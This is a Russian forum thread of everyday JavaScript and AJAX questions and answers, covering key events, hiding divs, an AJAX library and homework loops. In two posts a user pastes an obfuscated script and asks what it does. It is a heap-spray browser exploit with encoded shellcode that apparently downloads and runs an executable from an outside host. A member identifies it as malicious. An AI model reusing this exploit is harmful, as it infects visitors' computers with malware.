[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    как повесить событие на нажатие enter в простом инпуте?
    попробовал такой код:
    PHP:
    var flg = (document.all) ? 1;

    if(
    flg){
        
    document.captureEvents(Event.KEYDOWN);
    }

    document.onkeydown pressed;

    function 
    pressed(e){
        if(
    flg){
            if(
    e.keyCode == 13add();
        } else {
            if(
    event.keyCode == 13add();
        }
        return 
    false;
    }
    в опере всё работает как надо, а в ФФ жутко тормозит ввода текста в любые инпуты.
    Инпут не привязан ни к какой форме, поэтому при нажатии ентер в нём сабмит не работает.
    хотелось бы отследить ентер, нажатый в конкретном инпуте - делаю чат.
     
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    В начало функции:
    PHP:
    var window.event;
     
  3. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    сделай onkeypress...
    и посмотри на скрипт изменения статуса в контакте ;)
     
  4. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    о, я-я. подсмотрел как сделано вконтакте - теперь и у меня всё безглючно и красиво, спасибо большое!
     
  5. Architek86

    Architek86 Elder - Старейшина

    Joined:
    20 Feb 2008
    Messages:
    80
    Likes Received:
    1
    Reputations:
    0
    Есть див: <div id="zloe">ля-ля</div>
    Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
    ...
     
  6. VDShark

    VDShark Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    260
    Likes Received:
    158
    Reputations:
    62
    document.getElementById('zloe').style.visibility = 'hidden'; - скрыть с резервированием места (т.е. дива видно не будет, но место останеся пустым);

    document.getElementById('zloe').style.display = 'none' - скрыть без резервирования места.
     
  7. DCRM

    DCRM Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    67
    Likes Received:
    27
    Reputations:
    -1

    Вот готовая реализация:



    Скрипт скрывающий/показывающий DIV по ID:

    Code:
    function showDiv(xx)
    {
      if(document.getElementById(xx).style.display=="none")
      {document.getElementById(xx).style.display="block";}
      else document.getElementById(xx).style.display="none";
    }


    Пример использования:

    Code:
    <span onclick="showDiv('manual')">Показать/Скрыть DIV</span>
    Code:
    <div id="manual" style="display:none;" width="*">ля-ля  :) </div>
     
    #547 DCRM, 13 May 2008
    Last edited: 14 May 2008
  8. DCRM

    DCRM Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    67
    Likes Received:
    27
    Reputations:
    -1
    Вот используй эту библиотеку, то что доктор прописал))):
    JsHttpRequest

    Вот краткий список наиболее интересных возможностей и преимуществ библиотеки.
    • Отличная кроссбраузерность (библиотека работает даже в IE 5.0 с отключенным ActiveX).
    • Поддержка и "прозрачная" работа с любыми кодировками (в том числе русскоязычными).
    • Загрузка файлов на сервер "методом AJAX".
    • Полная совместимость с популярной JavaScript-библиотекой prototype.
    • Полная поддержка отладочных возможностей и традиционных методов программирования на PHP.
    • Обмен многомерными структурами между клиентом и сервером (ассоциативные массивы).
    • Автоматический выбор подходящего метода загрузки данных (XMLHttpRequest, <SCRIPT>, <IFRAME>).
    • Доступен интерфейс, совместимый с XMLHttpRequest.
     
  9. comeoff

    comeoff New Member

    Joined:
    10 Mar 2008
    Messages:
    89
    Likes Received:
    3
    Reputations:
    0
    Люди, что делает этот яваскрипт?

    Code:
    <script type="text/javascript">
    cHylUUL = unescape("%u9090%u90"+"90%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%"+"u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a"+"96%u0757%uef29%uefef%uaa66%uaffb%ud7"+"6f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%"+"u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f"+"7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%u"+"b12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u6D2F%u7079%u6F68%u6F74%u2E73%u796D%u6B6F%u6F68%u7473%u632E%u6D6F%u652F%u6578%u702E%u7068");
    		i4zsVXx 	= unescape('%u0800');
    		SzZHy 	= 0x08000800;
    		bs 		= i4zsVXx;
    		while (bs.length <= 0x400000) { bs += bs; }
    		var cs 	= new Array();
    		for (var id =0; id <36 ; id++) 
    		{
    			cs[id] = 
    			i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL +
    			i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL + 
    			i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL + 
    			i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL;
    		}
    		if (window.navigator.javaEnabled) 
    		{
    			window.navigator = (SzZHy / 2);
    			try  { java.lang.reflect.Runtime.newInstance(java.lang.Class.forName(java.lang.Runtime, 0)); }
    			catch(e){}
    		}
    
    </script>
     
  10. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Пожалуйста, не приводите заведомо плохие примеры.
    div - блочный элемент.
    Пытается запустить на исполнение вредоносный код.
     
  11. DCRM

    DCRM Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    67
    Likes Received:
    27
    Reputations:
    -1
    И в чём же он плохой? Приведите тогда "хороший" пример , просто мне уже самому интересно стало, как за минимум операций скрыть/показать элемент :confused:
     
  12. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Он хотел сказать что надо не inline, a block
     
    1 person likes this.
  13. DCRM

    DCRM Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    67
    Likes Received:
    27
    Reputations:
    -1
    :D Теперь понятно! Хотя и inline работает нормально если содержание простой текст) Спасибо за поправку :)
     
  14. comeoff

    comeoff New Member

    Joined:
    10 Mar 2008
    Messages:
    89
    Likes Received:
    3
    Reputations:
    0
    Кто может расшифровать, что тут:

    Code:
    %u9090%u90"+"90%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%"+"u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a"+"96%u0757%uef29%uefef%uaa66%uaffb%ud7"+"6f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%"+"u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f"+"7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%u"+"b12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u6D2F%u7079%u6F68%u6F74%u2E73%u796D%u6B6F%u6F68%u7473%u632E%u6D6F%u652F%u6578%u702E%u7068
     
  15. nikolya

    nikolya New Member

    Joined:
    25 Apr 2008
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    задача

    Help Me, Please!
    ЦИКЛЫ
    1. Дано целое число N (> 1). Найти наибольшее целое число K, при котором выполняется неравенство 3k < N.
    2. Известны оценки по алгебре каждого ученика класса. Определить среднюю оценку.
    Заранее огромнейшее спасибо!
     
  16. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Пожалуйста. :)
    Code:
    <script type="text/javascript">
    
    var first = function(n)
    {
      if(n < 1 || isNaN(n)) return;
      var i = 0;
      while((i + 1) * 3 < n) i++;
      return i;
    },
    
    second = function(a)
    {
      if(!(a instanceof Array)) return;
      var l = a.length, i = 0;
      while(l--) i += a[l];
      return parseInt(i / a.length);
    };
    
    alert(first(15));
    alert(second([5,1,2,4,1,2,4,1,3,4,5,2,4,5]));
    
    </script>
     
    1 person likes this.
  17. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Люди как сделать так, чтобы ссылка менялась без перезагрузки? Можно при помощи div-ов, типа display:none и display:block но хотелось бы как то по иному. Кто может помочь? +
     
  18. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Code:
    <a href="http://ya.ru">http://ya.ru</a><input type="button" value="do" onclick="var a = this.previousSibling;a.innerHTML = a.href = 'http://google.ru'">
     
    1 person likes this.
  19. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Ну чтож, +6 до 400 уважаемый astrologer! Спасибо!
     
  20. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    А то знает как сделать, простой кросбраузерный прелойдинг для загрузки фото?
     
Thread Status:
Not open for further replies.